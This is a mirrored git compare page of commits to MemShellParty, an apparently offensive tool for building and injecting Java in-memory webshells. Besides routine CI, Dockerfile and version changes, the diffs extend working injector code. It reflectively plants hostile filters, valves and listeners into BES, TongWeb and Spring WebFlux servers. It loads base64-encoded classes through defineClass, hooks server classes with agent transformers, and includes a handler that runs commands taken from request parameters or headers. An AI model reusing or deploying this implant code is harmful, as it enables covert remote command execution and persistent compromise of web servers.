mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
97e85f5753 | ||
|
|
70d96e86b1 | ||
|
|
13fe8f0094 | ||
|
|
961845f96f | ||
|
|
4a12d74c7c | ||
|
|
7287409ce3 | ||
|
|
f806ab2c2c | ||
|
|
e1152000f2 | ||
|
|
3ada01bd97 | ||
|
|
e11eafe78b | ||
|
|
6c41f208ba | ||
|
|
ceb8e3ddb4 | ||
|
|
70935d6ab1 | ||
|
|
305bc0e12c | ||
|
|
b74c8f6155 | ||
|
|
4a990b7e0c | ||
|
|
493e540984 | ||
|
|
8514f1ae1f | ||
|
|
c641a92557 | ||
|
|
cda6c9f64e | ||
|
|
460172133b | ||
|
|
983bdaa2fa | ||
|
|
244bbd910a | ||
|
|
17627d5134 | ||
|
|
9af244408b |
@@ -1,6 +1,7 @@
|
||||
name: Docker Build Test
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
|
||||
@@ -44,9 +44,9 @@ jobs:
|
||||
- middleware: "weblogic"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "springwebmvc"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
|
||||
- middleware: "springwebflux"
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
|
||||
- middleware: "xxljob"
|
||||
depend_tasks: ""
|
||||
- middleware: "struts2"
|
||||
|
||||
@@ -41,7 +41,9 @@ jobs:
|
||||
- middleware: "weblogic"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||
- middleware: "springwebmvc"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
|
||||
- middleware: "springwebflux"
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
|
||||
- middleware: "struts2"
|
||||
depend_tasks: ":vul:vul-struts2:war"
|
||||
runs-on: ubuntu-22.04
|
||||
|
||||
@@ -62,3 +62,5 @@ integration-test/**/bes
|
||||
integration-test/**/tongweb
|
||||
integration-test/**/inforsuite
|
||||
integration-test/**/primeton
|
||||
vul/vul-springboot3-bes
|
||||
vul/vul-springboot3-tongweb
|
||||
+5
-4
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
||||
rm -rf vul integration-test tools
|
||||
|
||||
# https://hub.docker.com/r/oven/bun
|
||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.14 AS frontend
|
||||
FROM --platform=$BUILDPLATFORM oven/bun:1.4.0 AS frontend
|
||||
|
||||
ARG ROUTE_ROOT_PATH=""
|
||||
ARG CONTEXT_PATH=""
|
||||
@@ -16,7 +16,8 @@ WORKDIR /usr/src/web
|
||||
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
||||
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
||||
|
||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
|
||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/
|
||||
COPY --from=source /usr/src/web/vendor/cfr /usr/src/web/vendor/cfr
|
||||
|
||||
RUN bun install --frozen-lockfile
|
||||
|
||||
@@ -25,7 +26,7 @@ COPY --from=source /usr/src/web /usr/src/web
|
||||
RUN bun run build
|
||||
|
||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=21.
|
||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.11_10-jdk-noble AS backend
|
||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.12_8-jdk-noble AS backend
|
||||
|
||||
WORKDIR /usr/src
|
||||
|
||||
@@ -35,7 +36,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
|
||||
|
||||
RUN ./gradlew :boot:bootjar -x test
|
||||
|
||||
FROM eclipse-temurin:21.0.11_10-jre-noble
|
||||
FROM eclipse-temurin:21.0.12_8-jre-noble
|
||||
|
||||
LABEL authors="ReaJason<[email protected]>"
|
||||
|
||||
|
||||
@@ -78,6 +78,12 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
|
||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||
```
|
||||
|
||||
## 贡献者
|
||||
|
||||
<a href="https://github.com/ReaJason/MemShellParty/graphs/contributors">
|
||||
<img src="https://contrib.rocks/image?repo=ReaJason/MemShellParty" width="20%" />
|
||||
</a>
|
||||
|
||||
## Special Thanks
|
||||
|
||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||
|
||||
+1
-1
@@ -9,7 +9,7 @@ idea {
|
||||
}
|
||||
}
|
||||
|
||||
version = "2.9.0"
|
||||
version = "2.10.0"
|
||||
|
||||
tasks.register("publishAllToMavenCentral") {
|
||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||
|
||||
+5
-1
@@ -23,6 +23,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
||||
|
||||
protected abstract DynamicType.Builder<?> getBuilder();
|
||||
|
||||
protected int getTargetJreVersion() {
|
||||
return shellConfig.getTargetJreVersion();
|
||||
}
|
||||
|
||||
protected byte[] postProcessBytes(byte[] classBytes) {
|
||||
return classBytes;
|
||||
}
|
||||
@@ -43,7 +47,7 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
||||
|
||||
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
|
||||
.name(shellClassName)
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||
.visit(new TargetJreVersionVisitorWrapper(getTargetJreVersion()));
|
||||
|
||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||
byte[] bytes = postProcessBytes(unloaded.getBytes());
|
||||
|
||||
+40
@@ -7,6 +7,10 @@ import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.ClassFileLocator;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.jar.asm.ClassReader;
|
||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||
import net.bytebuddy.jar.asm.Label;
|
||||
import net.bytebuddy.jar.asm.MethodVisitor;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
@@ -17,6 +21,7 @@ import java.util.Base64;
|
||||
* @since 2025/3/18
|
||||
*/
|
||||
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
|
||||
private boolean containsSubroutines;
|
||||
|
||||
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
||||
super(shellConfig, customConfig);
|
||||
@@ -27,6 +32,7 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
|
||||
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
||||
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
||||
ClassReader classReader = new ClassReader(classBytes);
|
||||
containsSubroutines = containsSubroutines(classReader);
|
||||
String className = classReader.getClassName().replace('/', '.');
|
||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||
shellToolConfig.setShellClassName(className);
|
||||
@@ -43,4 +49,38 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
|
||||
return new ByteBuddy()
|
||||
.redefine(typeDescription, compoundLocator);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected int getTargetJreVersion() {
|
||||
// Byte Buddy cannot emit a class version newer than Java 5 when the
|
||||
// source bytecode contains legacy jsr/ret subroutines. Keep such
|
||||
// custom classes at Java 5; Java 6+ runtimes can load them as well.
|
||||
return containsSubroutines ? Opcodes.V1_5 : super.getTargetJreVersion();
|
||||
}
|
||||
|
||||
private static boolean containsSubroutines(ClassReader classReader) {
|
||||
final boolean[] found = {false};
|
||||
classReader.accept(new ClassVisitor(Opcodes.ASM9) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
return new MethodVisitor(Opcodes.ASM9) {
|
||||
@Override
|
||||
public void visitJumpInsn(int opcode, Label label) {
|
||||
if (opcode == Opcodes.JSR) {
|
||||
found[0] = true;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitVarInsn(int opcode, int var) {
|
||||
if (opcode == Opcodes.RET) {
|
||||
found[0] = true;
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
}, ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
|
||||
return found[0];
|
||||
}
|
||||
}
|
||||
|
||||
+6
-2
@@ -45,6 +45,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
|
||||
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
||||
public static final String TONGWEB_EMBEDDED_VALVE_PACKAGE = "com.tongweb.container";
|
||||
|
||||
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
||||
String packageName = null;
|
||||
@@ -53,7 +54,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||
}
|
||||
if (shell instanceof TongWeb) {
|
||||
if (serverVersion == null) {
|
||||
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
||||
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
|
||||
}
|
||||
switch (serverVersion) {
|
||||
case "6":
|
||||
@@ -65,8 +66,11 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||
case "8":
|
||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||
break;
|
||||
case "7.E":
|
||||
packageName = TONGWEB_EMBEDDED_VALVE_PACKAGE;
|
||||
break;
|
||||
default:
|
||||
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
||||
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
|
||||
}
|
||||
}
|
||||
if (StringUtils.isNotBlank(packageName)) {
|
||||
|
||||
+21
-45
@@ -85,10 +85,27 @@ public class BesFilterInjector {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
for (Object value : childrenMap.values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
|
||||
}
|
||||
} else if (thread.getName().contains("AppServer-utility")) {
|
||||
// BES 10 / BES 11: AppServer-utility thread fallback.
|
||||
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
|
||||
Object target = getFieldValue(thread, "target");
|
||||
try {
|
||||
target = getFieldValue(target, "wrappedRunnable");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
|
||||
for (Object task : workQueue) {
|
||||
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
|
||||
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
|
||||
for (Object host : childrenMap.values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
|
||||
}
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null) {
|
||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||
@@ -102,47 +119,6 @@ public class BesFilterInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
// BES 10 / BES 11: AppServer-utility thread fallback.
|
||||
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
|
||||
if (contexts.isEmpty()) {
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
if (!thread.getName().contains("AppServer-utility")) {
|
||||
continue;
|
||||
}
|
||||
Object target = getFieldValue(thread, "target");
|
||||
Object realTarget = target;
|
||||
try {
|
||||
realTarget = getFieldValue(target, "wrappedRunnable");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue");
|
||||
for (Object task : workQueue) {
|
||||
if (task == null) {
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
Object callable = getFieldValue(task, "callable");
|
||||
Object runnable;
|
||||
try {
|
||||
runnable = getFieldValue(callable, "task");
|
||||
} catch (Throwable ignored) {
|
||||
runnable = callable;
|
||||
}
|
||||
if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
|
||||
continue;
|
||||
}
|
||||
Object engine = getFieldValue(runnable, "this$0");
|
||||
for (Object host : ((Map<?, ?>) getFieldValue(engine, "children")).values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
|
||||
+21
-45
@@ -77,10 +77,27 @@ public class BesListenerInjector {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
for (Object value : childrenMap.values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
|
||||
}
|
||||
} else if (thread.getName().contains("AppServer-utility")) {
|
||||
// BES 10 / BES 11: AppServer-utility thread fallback.
|
||||
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
|
||||
Object target = getFieldValue(thread, "target");
|
||||
try {
|
||||
target = getFieldValue(target, "wrappedRunnable");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
|
||||
for (Object task : workQueue) {
|
||||
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
|
||||
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
|
||||
for (Object host : childrenMap.values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
|
||||
}
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null) {
|
||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||
@@ -94,47 +111,6 @@ public class BesListenerInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
// BES 10 / BES 11: AppServer-utility thread fallback.
|
||||
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
|
||||
if (contexts.isEmpty()) {
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
if (!thread.getName().contains("AppServer-utility")) {
|
||||
continue;
|
||||
}
|
||||
Object target = getFieldValue(thread, "target");
|
||||
Object realTarget = target;
|
||||
try {
|
||||
realTarget = getFieldValue(target, "wrappedRunnable");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue");
|
||||
for (Object task : workQueue) {
|
||||
if (task == null) {
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
Object callable = getFieldValue(task, "callable");
|
||||
Object runnable;
|
||||
try {
|
||||
runnable = getFieldValue(callable, "task");
|
||||
} catch (Throwable ignored) {
|
||||
runnable = callable;
|
||||
}
|
||||
if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
|
||||
continue;
|
||||
}
|
||||
Object engine = getFieldValue(runnable, "this$0");
|
||||
for (Object host : ((Map<?, ?>) getFieldValue(engine, "children")).values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
|
||||
+21
-45
@@ -76,10 +76,27 @@ public class BesValveInjector {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
for (Object value : childrenMap.values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
|
||||
}
|
||||
} else if (thread.getName().contains("AppServer-utility")) {
|
||||
// BES 10 / BES 11: AppServer-utility thread fallback.
|
||||
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
|
||||
Object target = getFieldValue(thread, "target");
|
||||
try {
|
||||
target = getFieldValue(target, "wrappedRunnable");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
|
||||
for (Object task : workQueue) {
|
||||
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
|
||||
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
|
||||
for (Object host : childrenMap.values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
|
||||
}
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null) {
|
||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||
@@ -93,47 +110,6 @@ public class BesValveInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
// BES 10 / BES 11: AppServer-utility thread fallback.
|
||||
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
|
||||
if (contexts.isEmpty()) {
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
if (!thread.getName().contains("AppServer-utility")) {
|
||||
continue;
|
||||
}
|
||||
Object target = getFieldValue(thread, "target");
|
||||
Object realTarget = target;
|
||||
try {
|
||||
realTarget = getFieldValue(target, "wrappedRunnable");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue");
|
||||
for (Object task : workQueue) {
|
||||
if (task == null) {
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
Object callable = getFieldValue(task, "callable");
|
||||
Object runnable;
|
||||
try {
|
||||
runnable = getFieldValue(callable, "task");
|
||||
} catch (Throwable ignored) {
|
||||
runnable = callable;
|
||||
}
|
||||
if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
|
||||
continue;
|
||||
}
|
||||
Object engine = getFieldValue(runnable, "this$0");
|
||||
for (Object host : ((Map<?, ?>) getFieldValue(engine, "children")).values()) {
|
||||
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
|
||||
+1
-2
@@ -1,6 +1,5 @@
|
||||
package com.reajason.javaweb.memshell.injector.springwebflux;
|
||||
|
||||
import org.springframework.util.Base64Utils;
|
||||
import org.springframework.web.reactive.function.server.*;
|
||||
import org.springframework.web.reactive.function.server.support.RouterFunctionMapping;
|
||||
|
||||
@@ -63,7 +62,7 @@ public class SpringWebFluxHandlerFunctionInjector {
|
||||
try {
|
||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
||||
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
|
||||
+1
-2
@@ -1,6 +1,5 @@
|
||||
package com.reajason.javaweb.memshell.injector.springwebflux;
|
||||
|
||||
import org.springframework.util.Base64Utils;
|
||||
import org.springframework.web.method.HandlerMethod;
|
||||
import org.springframework.web.reactive.result.method.RequestMappingInfo;
|
||||
import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
|
||||
@@ -63,7 +62,7 @@ public class SpringWebFluxHandlerMethodInjector {
|
||||
try {
|
||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
||||
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
|
||||
+1
-2
@@ -1,6 +1,5 @@
|
||||
package com.reajason.javaweb.memshell.injector.springwebflux;
|
||||
|
||||
import org.springframework.util.Base64Utils;
|
||||
import org.springframework.web.server.WebFilter;
|
||||
import org.springframework.web.server.handler.DefaultWebFilterChain;
|
||||
import org.springframework.web.server.handler.FilteringWebHandler;
|
||||
@@ -58,7 +57,7 @@ public class SpringWebFluxWebFilterInjector {
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
||||
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
|
||||
+2
-1
@@ -17,7 +17,8 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
|
||||
private static final String[] TARGET_CLASSES = new String[]{
|
||||
"com/tongweb/web/thor/core/StandardContextValve",
|
||||
"com/tongweb/catalina/core/StandardContextValve",
|
||||
"com/tongweb/server/core/StandardContextValve"
|
||||
"com/tongweb/server/core/StandardContextValve",
|
||||
"com/tongweb/container/core/StandardContextValve"
|
||||
};
|
||||
private static final String TARGET_METHOD_NAME = "invoke";
|
||||
|
||||
|
||||
+2
-1
@@ -17,7 +17,8 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
|
||||
private static final String[] TARGET_CLASSES = new String[]{
|
||||
"com/tongweb/web/thor/core/ApplicationFilterChain",
|
||||
"com/tongweb/catalina/core/ApplicationFilterChain",
|
||||
"com/tongweb/server/core/ApplicationFilterChain"
|
||||
"com/tongweb/server/core/ApplicationFilterChain",
|
||||
"com/tongweb/container/core/ApplicationFilterChain"
|
||||
};
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
|
||||
+8
@@ -167,11 +167,19 @@ public class TongWebFilterInjector {
|
||||
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
|
||||
filterMap = filterMapClass.newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
// tongweb 8
|
||||
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||
filterMap = filterMapClass.newInstance();
|
||||
} catch (Exception e1) {
|
||||
// tongweb embedded (spring boot)
|
||||
constructor = contextClassLoader.loadClass("com.tongweb.container.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||
filterMap = filterMapClass.newInstance();
|
||||
}
|
||||
}
|
||||
}
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
|
||||
+5
@@ -141,8 +141,13 @@ public class TongWebValveInjector {
|
||||
// tongweb6
|
||||
valveClass = contextClassLoader.loadClass("com.tongweb.web.thor.Valve");
|
||||
} catch (ClassNotFoundException e1) {
|
||||
try {
|
||||
// tongweb8
|
||||
valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve");
|
||||
} catch (ClassNotFoundException e2) {
|
||||
// tongweb embedded (spring boot)
|
||||
valveClass = contextClassLoader.loadClass("com.tongweb.container.Valve");
|
||||
}
|
||||
}
|
||||
}
|
||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
|
||||
@@ -19,8 +19,11 @@ public class TongWeb extends AbstractServer {
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(VALVE, TongWebValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||
.build();
|
||||
|
||||
+8
-3
@@ -4,6 +4,7 @@ import org.springframework.web.reactive.function.server.HandlerFunction;
|
||||
import org.springframework.web.reactive.function.server.ServerRequest;
|
||||
import org.springframework.web.reactive.function.server.ServerResponse;
|
||||
import reactor.core.publisher.Mono;
|
||||
import reactor.core.scheduler.Schedulers;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.util.Optional;
|
||||
@@ -26,17 +27,21 @@ public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = request.headers().firstHeader(paramName);
|
||||
}
|
||||
final String paramValue = p;
|
||||
Mono<String> resultMono = Mono.fromCallable(() -> {
|
||||
String result = "";
|
||||
try {
|
||||
if (p != null) {
|
||||
String param = getParam(p);
|
||||
if (paramValue != null) {
|
||||
String param = getParam(paramValue);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
